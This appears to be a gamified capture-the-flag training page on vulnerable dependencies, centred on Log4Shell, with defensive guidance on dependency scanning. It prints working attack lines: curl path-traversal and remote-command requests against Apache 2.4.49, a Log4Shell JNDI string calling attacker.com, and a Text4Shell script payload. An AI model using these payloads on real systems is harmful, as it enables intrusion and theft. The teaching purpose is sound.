Log4Shell Tutorial — CVE-2021-44228 Explained Hands-On

🔎

CAMPAIGN 3 — OPERATION SHELL SHADOW

VULNERABLE COMPONENTS // LOG4SHELL // TEXT4SHELL

16

OWASP A06:2021

VULNERABLE AND
OUTDATED COMPONENTS

DEPENDENCY EXPLOITATION // LOG4SHELL // TEXT4SHELL // SUPPLY CHAIN

OPERATION SHELL SHADOW

📡

SITUATION REPORT

CLASSIFIED

Five Ghost Protocol nodes down. The Syndicate routes every service's activity to one centralised log server in a Berlin bulletproof rack — the box that knows everything Vantage Systems does. VENDOR, the infrastructure manager, chose the Apache Log4j logging library. Industry standard. Used by millions of applications worldwide.

But not the version released after December 2021. Log4j 2.14.1 — the version VENDOR is running — has a critical flaw. If you send a specially formatted string to any application using this library, the library fetches and executes code from a server you control.

The flaw hides inside the library — not in code VENDOR wrote. He read every line of his own code. He would never find it there. He did not write the library. He did not read the library. He trusted it.

THE BOLT IN THE BRIDGE

CHILD-LEVEL EXPLANATION

Imagine a strong bridge built from many solid parts. But one part comes from an unknown source and is weaker than the rest. Over time, pressure builds on that weak part.

And eventually the entire structure becomes unsafe because of a single unreliable component.

If you build a bridge using 1,000 bolts from 50 different suppliers — how do you know all 1,000 bolts are safe?

INTERCEPTED — VENDOR COMMS

13:05 UTC

VENDOR

"The Director can rest easy — the log server runs entirely in-house code, The server runs entirely in-house code and industry-standard libraries trusted by thousands of companies. No external attack surface. We do not use any third-party services."

RAVEN

Shadow — VENDOR did not write Log4j. He just uses it. He thinks third-party means external services — it also means the libraries inside your own code. Log4j 2.14.1 is inside his application right now. He has never looked at it. Neither has his security scanner — it is checking his code, not the library code.

MISSION OBJECTIVES

01

TARGET: Ghost Protocol log server run by VENDOR — clean app code, but shipping Log4j 2.14.1, an unpatched dependency he never audited

02

EXPLOIT: Feed a crafted JNDI string into a logged field and trigger remote code execution through the library — no app bug required

03

SWEEP: Work the CVE Timeline and classify which dependency practices are real risks vs safe habits

04

WIN: Capture the field flag, then lock it down — the process that flags vulnerable components before they ever ship

⚠ ETHICAL NOTICE: Vulnerable and Outdated Components is OWASP A06:2021. Log4Shell (CVE-2021-44228) and Text4Shell (CVE-2022-42889) are public CVEs covered by every professional security certification. All interactions are fully simulated. Real testing requires written authorisation.

🔧 UNDER THE HOOD▼

THE ATTACK — STEP BY STEP

Fingerprint the software version, look up known CVEs, run the exploit. Step 1: identify the version:

// HTTP response headers often reveal versions: Server: Apache/2.4.49 X-Powered-By: PHP/7.4.3 X-Generator: WordPress 5.8 // Shodan and Censys search for vulnerable versions at scale: shodan search "Apache 2.4.49" country:US // Returns thousands of vulnerable servers

Step 2: find the exploit for Apache 2.4.49 (CVE-2021-41773, path traversal + RCE):

// Path traversal: curl -s --path-as-is "http://TARGET/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd" // RCE if mod_cgi enabled: curl -s --path-as-is -d "echo;id" \ "http://TARGET/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"

COMMON VARIATIONS

1. Transitive dependency vulnerabilities — your direct dependency is fine, but it depends on a vulnerable package you don't even know about:

npm ls event-stream // hidden deep in the tree // event-stream@3.3.6 contained a crypto-stealing backdoor

2. Dependency confusion attack — attacker publishes a malicious package with the same name as an internal package but a higher version number. Package managers fetch the public one:

// Internal package: company-auth@1.0.0 (private registry) // Attacker publishes: company-auth@2.0.0 (public npm) // npm resolves the higher version from the public registry

3. End-of-life (EOL) software — no patches are issued for EOL components; known vulnerabilities accumulate indefinitely.

HOW TO DEFEND

Automate dependency scanning in your CI/CD pipeline:

# npm audit — built in, run it: npm audit npm audit fix # Snyk — deeper analysis with fix PRs: npx snyk test npx snyk monitor # continuous monitoring # OWASP Dependency-Check (Java/multi-language): dependency-check --project "MyApp" --scan ./ # GitHub Dependabot — automatic PRs for vulnerable dependencies: # Add .github/dependabot.yml: version: 2 updates: - package-ecosystem: "npm" directory: "/" schedule: interval: "weekly"

Pin exact versions in lock files (package-lock.json, yarn.lock). Use private package registries with scope restrictions to prevent dependency confusion.

⚡ CYBER RANGE — ACTIVE ENVIRONMENT

LIVE

TARGET

ghost-java.ghost-capital.int

IP ADDRESS

10.47.1.16

OS / SERVER

Ubuntu 22.04 · nginx/1.20.0

KEY SERVICES

Java/17 · Log4j 2.14.1 · Spring Boot/2.7

ATTACK SCOPE

Any logged field — JNDI RCE via Log4Shell in scope

ATTACKER NODE

shadow@sigma9 · 10.99.0.1

📋 ROOM TASKS

01

✓

Understand why Log4j evaluates strings it logs

02

▶

Exploit Log4Shell via a JNDI lookup in a logged field

03

○

Classify vulnerable vs patched component states

04

○

Identify the upgrade + SCA pipeline fix

05

○

Submit the capture-the-flag token

🚩

CAPTURE THE FLAG

Complete the exploit lab. The flag appears in the terminal output. Copy and submit it here for +50 XP.

PHASE 01

EXPLOIT THE BORROWED CODE

EXPLOIT

RAVEN

ENCRYPTED

You did not touch a single line of VENDOR's code. He wrote 12,000 clean lines for the Ghost Protocol log server, read every one, and reviews every pull request. None of that mattered — you went in through a library he borrowed.

His app ships Log4j 2.14.1, a popular Java logging library with over 400,000 lines of code he never wrote. You dropped a crafted string into a field that gets logged, and Log4j's JNDI lookup reached out and ran your payload. The flaw was never in his code — it was in the dependency he trusted.

You just popped clean code through borrowed code. Now make the call: why does a flaw in a library hit an application that never wrote it?

RAVEN — HOW THIS IS ACTUALLY DONE

LIVE

RAVEN

Standard vulnerable-component assessment on this authorised, fictional target. I don't write an exploit — I look up the version and pull the public advisory. The component announces itself, and the fix is already documented:

$ curl -sI https://nexus.int | grep -i x-powered-by
X-Powered-By: log4j/2.14.0
$ searchsploit log4j 2.14
CVE-2021-44228  Log4Shell — RCE  (patched in 2.17.0)

RAVEN

Clean application code, but it ships a library three years out of date with a public CVE. The whole attack is "read the version, read the advisory." The fix is just as simple — update the dependency. First, you explain why someone else's flaw becomes yours.

TAP AN ANSWER — EXPLANATION APPEARS IMMEDIATELY

RAVEN — HINT (−20 XP)

Think about how a library works. When VENDOR calls logger.info("User logged in"), Log4j code runs on his server. It has full access to the same memory, network, and filesystem as his application. If that code has a flaw — whose problem is it?

✓

LIBRARY RISK UNDERSTOOD

When an application includes a library, that library code runs as part of the application — with the same permissions, same network access, same memory. A flaw in the library is effectively a flaw in the application. There is no separation between "library code" and "your code" at runtime.

Simple version: The bridge engineers are responsible for the bolt — even though they did not make it. If a bolt fails, the bridge fails. The engineers should have tested every bolt.

Real world: Log4Shell (CVE-2021-44228) was found in December 2021. Within 24 hours, over 100 million servers were actively targeted. Every application using Log4j — from Minecraft servers to enterprise cloud systems — was vulnerable. Companies spent billions of dollars scanning their entire codebases to find every place Log4j was used.

PHASE 02

CVE TIMELINE — IDENTIFY THE IMPACT

INTERACTIVE

Log4j 2.14.1 wasn't a one-off — the same pattern has played out across every major language stack. Five real CVEs, all the same root cause. Read each one and understand exactly what the broken bolt enabled.

RAVEN

ENCRYPTED

Five real-world vulnerabilities — all caused by trusting an unpatched component. Tap each CVE to open it. Read the description. Answer the question about what the flaw enabled.

Each CVE is a bolt that failed. Your job is to understand exactly how the bridge shook.

MISSION OBJECTIVETap each CVE card to open it. Read the vulnerability description and CVSS score. Answer the question about what the flaw enabled. Complete all five to unlock the next phase.

CVEs UNDERSTOOD

0 of 5 completed

RAVEN — HINT (−20 XP)

Read the CVSS score — 9.0+ means the attacker can do almost anything without needing any special access. Look at the attack vector: what does the attacker send to trigger the flaw? And what happens on the server when they do?

✓

ALL CVEs UNDERSTOOD

You can now read a CVE and immediately understand what it enabled — who could exploit it, what they could do, and how difficult it was. Every one of these was a trusted component that had a hidden flaw. None of the application developers wrote the vulnerable code. All of them suffered the consequences.

The pattern: Parse or log user input using a vulnerable library. Attacker crafts input that triggers the library flaw. Library executes attacker code. Application never knew. This pattern repeats across languages, frameworks, and decades.

PHASE 03

WHICH PRACTICES ARE SAFE?

CLASSIFY

Five CVEs, same root. VENDOR's other teams might be running the same blind dependency habits. Classify each practice — safe engineering or a ticking bolt you haven't checked yet.

RAVEN

ENCRYPTED

RAVEN pulled a list of dependency management practices from Ghost Protocol teams. Some reduce vulnerable component risk. Some increase it.

Tap a practice to select it. Mark it SAFE if it reduces risk or RISKY if it increases exposure to vulnerable component attacks.

TAP A PRACTICE — THEN CLASSIFY IT

Select a practice above

✓ SAFE

⚠ RISKY

RAVEN — HINT (−20 XP)

Safe practices: knowing what components you use, getting alerts when they have CVEs, keeping them updated, scanning automatically. Risky practices: using dependencies without tracking them, pinning old versions and never updating, ignoring security alerts, copying library code into your project.

✓

ALL PRACTICES CORRECTLY CLASSIFIED

Dependency security comes down to one thing: know what you use and keep track of its security status. Every risky practice you identified shares the same root cause — the development team lost visibility into their own dependency tree.

The "left-pad incident" 2016: A developer removed a 17-line npm package called left-pad from the registry. Thousands of applications that depended on it — including React and Babel — immediately broke. The entire internet was partially down for hours. The dependencies were real. Nobody had tracked them.

PHASE 04

STOP THE SHADOW — THE RIGHT PROCESS

DEFENSE

Safe from risky, separated. One final question: what automated process in the build pipeline would have caught Log4j 2.14.1 before it ever shipped to production?

RAVEN — FINAL DEBRIEF

LAST PHASE

VENDOR is in custody. The log server is offline.

RAVEN: "Shadow — VENDOR ran security scans on his own code every week. He just never scanned his dependencies. Which single process would have flagged Log4j 2.14.1 as vulnerable before the server went live?"

WHICH PROCESS STOPS VULNERABLE COMPONENTS?

RAVEN — HINT (−20 XP)

VENDOR already scanned his own code. The problem was the library. The right process scans the libraries too — automatically, on every build, before anything ships to production. Which option does that?

► INTEL — OP-16 // OPERATION SHELL SHADOW

TARGET: NEXUS Application Stack — Dependency Chain

Classification: TOP SECRET // Campaign 3 Ghost Protocol

MENDAX — CHANNEL BRIEFING

PRE-OP

MENDAX

NEXUS uses Log4j 2.14.0 in their authentication microservice. CVE-2021-44228 (Log4Shell) — a single crafted log message triggers JNDI lookup and remote code execution. CVSS 10.0.

📓

OWASP CLASSIFICATION

INTEL

A06:2021 — Vulnerable components attack vectors include: known CVEs in libraries, frameworks, and components; unpatched OS; unsupported or end-of-life software.

⚖

GLOSSARY TERMS: Log4Shell, CVE-2021-44228, JNDI Injection, Supply Chain Attack, SCA, Dependency Scanning, SBOM. All terms auto-logged to your Field Manual as you encounter them.

ACADEMY — VULNERABLE COMPONENTS

THE BOLT YOU DID NOT MAKE
CAN STILL FAIL YOUR BRIDGE.

BEGINNERWhat Is This Vulnerability?›

Modern software is built by combining hundreds of libraries and frameworks that other people wrote. This saves enormous time — you do not have to re-write logging, encryption, or database connections from scratch. But every library you include runs as part of your application. If that library has a security flaw, your application has that flaw — even though you never wrote the vulnerable code.

Vulnerable and outdated components is OWASP A06:2021 because it affects every application and because developers often do not even know which versions of which libraries they are running.

Real world: Log4Shell (CVE-2021-44228, December 2021). A flaw in the Apache Log4j logging library allowed attackers to execute arbitrary code on any server using the library. Over 100 million servers were targeted within 24 hours of the flaw being published. Every major cloud provider, enterprise software vendor, and government system was affected.

INTERMEDIATEHow Attacks Work›

Log4Shell (CVE-2021-44228):
Attacker sends a crafted string to any input that gets logged: ${jndi:ldap://attacker.com/exploit}
Log4j processes this string, makes an outbound LDAP request, fetches attacker code, and executes it. CVSS 10.0.

Text4Shell (CVE-2022-42889, Apache Commons Text):
Interpolation feature in Commons Text: ${script:javascript:java.lang.Runtime.getRuntime().exec('id')}
Passes user input to a script engine that executes it. CVSS 9.8.

Spring4Shell (CVE-2022-22965):
Data binding in Spring Framework. Attacker sends crafted HTTP parameters that overwrite JVM internals and achieve code execution. CVSS 9.8.

Common pattern: User-controlled input passed to a vulnerable library function that was never meant to execute code — but does.

EXPERTDefences and CVEs›

Automated dependency scanning in CI/CD:
Tools scan every dependency on every build. Any component with a known CVE fails the build before it ships.

Tools:
Dependabot (GitHub) — opens PRs for vulnerable dependencies automatically
Snyk — scans npm, Maven, pip, Go modules; integrates with CI
OWASP Dependency-Check — open source, runs in pipelines
Trivy — scans container images for vulnerable OS packages and libraries
Syft + Grype — generate SBOM and scan it for CVEs

Process:
Know every dependency and its version (SBOM)
Subscribe to CVE feeds for your technology stack
Apply patches within 24 hours for CVSS 9+
Remove unused dependencies — every package is attack surface
Prefer actively maintained libraries with security track records

Notable incidents:
2020 SolarWinds — malicious code injected into a software build process, shipped to 18,000 customers
2021 Log4Shell — 100M+ servers vulnerable, nation-state exploitation within hours
2022 Text4Shell — same pattern, different library

SolarWinds 2020: Attackers compromised the SolarWinds Orion build system. A malicious update was signed and shipped to 18,000 customers including US government agencies. The attackers were inside networks for 9 months before detection. This was not a vulnerability in SolarWinds code — it was a compromised component in their supply chain. The most significant supply chain attack in history.

REAL-WORLD TOOLS — VULNERABLE COMPONENTS

WHAT PROFESSIONALS USE

🔌

Dependabot

FREE / GITHUB

Automatically opens pull requests when a dependency has a known CVE. Integrated into GitHub repositories. Zero configuration for basic operation.

Enable in GitHub repo Settings → Security → Dependabot alerts

🐍

Snyk

FREE TIER

Scans npm, Maven, pip, Go, and Ruby dependencies. Integrates with CI/CD pipelines. Shows exploitability — not just whether a CVE exists but whether your code actually calls the vulnerable function.

snyk test --all-projects

📌

OWASP Dependency-Check

FREE / OPEN SOURCE

Scans Java, .NET, Node.js, Ruby, Python dependencies against the NVD CVE database. Runs in CI pipelines or as a standalone tool. Produces HTML reports.

dependency-check --project "ghost-protocol" --scan /app/libs

📷

Trivy

FREE / OPEN SOURCE

Scans container images, Git repositories, and filesystems for vulnerable OS packages, language libraries, and misconfigurations. Fast and pipeline-friendly.

trivy image ghost-protocol-logserver:latest